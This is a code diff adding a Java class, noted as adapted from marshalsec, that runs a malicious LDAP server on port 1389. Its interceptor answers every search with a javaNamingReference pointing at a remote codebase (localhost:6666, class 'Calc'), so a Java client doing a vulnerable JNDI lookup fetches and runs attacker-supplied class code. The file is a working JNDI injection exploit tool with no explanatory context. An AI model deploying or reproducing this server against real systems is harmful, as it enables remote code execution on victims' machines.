|
| 1 | +package com.drops.utils; |
| 2 | + |
| 3 | +import com.unboundid.ldap.listener.InMemoryDirectoryServer; |
| 4 | +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; |
| 5 | +import com.unboundid.ldap.listener.InMemoryListenerConfig; |
| 6 | +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
| 7 | +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; |
| 8 | +import com.unboundid.ldap.sdk.Entry; |
| 9 | +import com.unboundid.ldap.sdk.LDAPException; |
| 10 | +import com.unboundid.ldap.sdk.LDAPResult; |
| 11 | +import com.unboundid.ldap.sdk.ResultCode; |
| 12 | + |
| 13 | +import javax.net.ServerSocketFactory; |
| 14 | +import javax.net.SocketFactory; |
| 15 | +import javax.net.ssl.SSLSocketFactory; |
| 16 | +import java.net.InetAddress; |
| 17 | +import java.net.MalformedURLException; |
| 18 | +import java.net.URL; |
| 19 | + |
| 20 | +/** |
| 21 | + * @ClassName: ldapserver |
| 22 | + * @Description: TODO |
| 23 | + * @Author: Summer |
| 24 | + * @Date: 2020/7/9 14:37 |
| 25 | + * @Version: v1.0.0 |
| 26 | + * @Description: 根据marshalsec中源码修改 |
| 27 | + **/ |
| 28 | +public class ldapserver { |
| 29 | + private static final String LDAP_BASE = "dc=example,dc=com"; |
| 30 | + |
| 31 | + |
| 32 | + public static void main ( String[] args ) { |
| 33 | + //端口可以修改 |
| 34 | + int port = 1389; |
| 35 | + |
| 36 | + try { |
| 37 | + // URL地址可以修改成任意地址 |
| 38 | + URL url = new URL("http://localhost:6666/#Calc"); |
| 39 | + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); |
| 40 | + config.setListenerConfigs(new InMemoryListenerConfig( |
| 41 | + "listen", //$NON-NLS-1$ |
| 42 | + InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ |
| 43 | + port, |
| 44 | + ServerSocketFactory.getDefault(), |
| 45 | + SocketFactory.getDefault(), |
| 46 | + (SSLSocketFactory) SSLSocketFactory.getDefault())); |
| 47 | + |
| 48 | + config.addInMemoryOperationInterceptor(new OperationInterceptor(url)); |
| 49 | + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); |
| 50 | + System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ |
| 51 | + ds.startListening(); |
| 52 | + |
| 53 | + } |
| 54 | + catch ( Exception e ) { |
| 55 | + e.printStackTrace(); |
| 56 | + } |
| 57 | + } |
| 58 | + |
| 59 | + private static class OperationInterceptor extends InMemoryOperationInterceptor { |
| 60 | + |
| 61 | + private URL codebase; |
| 62 | + |
| 63 | + |
| 64 | + /** |
| 65 | + * |
| 66 | + */ |
| 67 | + public OperationInterceptor ( URL cb ) { |
| 68 | + this.codebase = cb; |
| 69 | + } |
| 70 | + |
| 71 | + |
| 72 | + /** |
| 73 | + * {@inheritDoc} |
| 74 | + * |
| 75 | + * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) |
| 76 | + */ |
| 77 | + @Override |
| 78 | + public void processSearchResult ( InMemoryInterceptedSearchResult result ) { |
| 79 | + String base = result.getRequest().getBaseDN(); |
| 80 | + Entry e = new Entry(base); |
| 81 | + try { |
| 82 | + sendResult(result, base, e); |
| 83 | + } |
| 84 | + catch ( Exception e1 ) { |
| 85 | + e1.printStackTrace(); |
| 86 | + } |
| 87 | + |
| 88 | + } |
| 89 | + |
| 90 | + |
| 91 | + protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { |
| 92 | + URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); |
| 93 | + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); |
| 94 | + e.addAttribute("javaClassName", "foo"); |
| 95 | + String cbstring = this.codebase.toString(); |
| 96 | + int refPos = cbstring.indexOf('#'); |
| 97 | + if ( refPos > 0 ) { |
| 98 | + cbstring = cbstring.substring(0, refPos); |
| 99 | + } |
| 100 | + e.addAttribute("javaCodeBase", cbstring); |
| 101 | + e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ |
| 102 | + e.addAttribute("javaFactory", this.codebase.getRef()); |
| 103 | + result.sendSearchEntry(e); |
| 104 | + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
| 105 | + } |
| 106 | + |
| 107 | + } |
| 108 | +} |
0 commit comments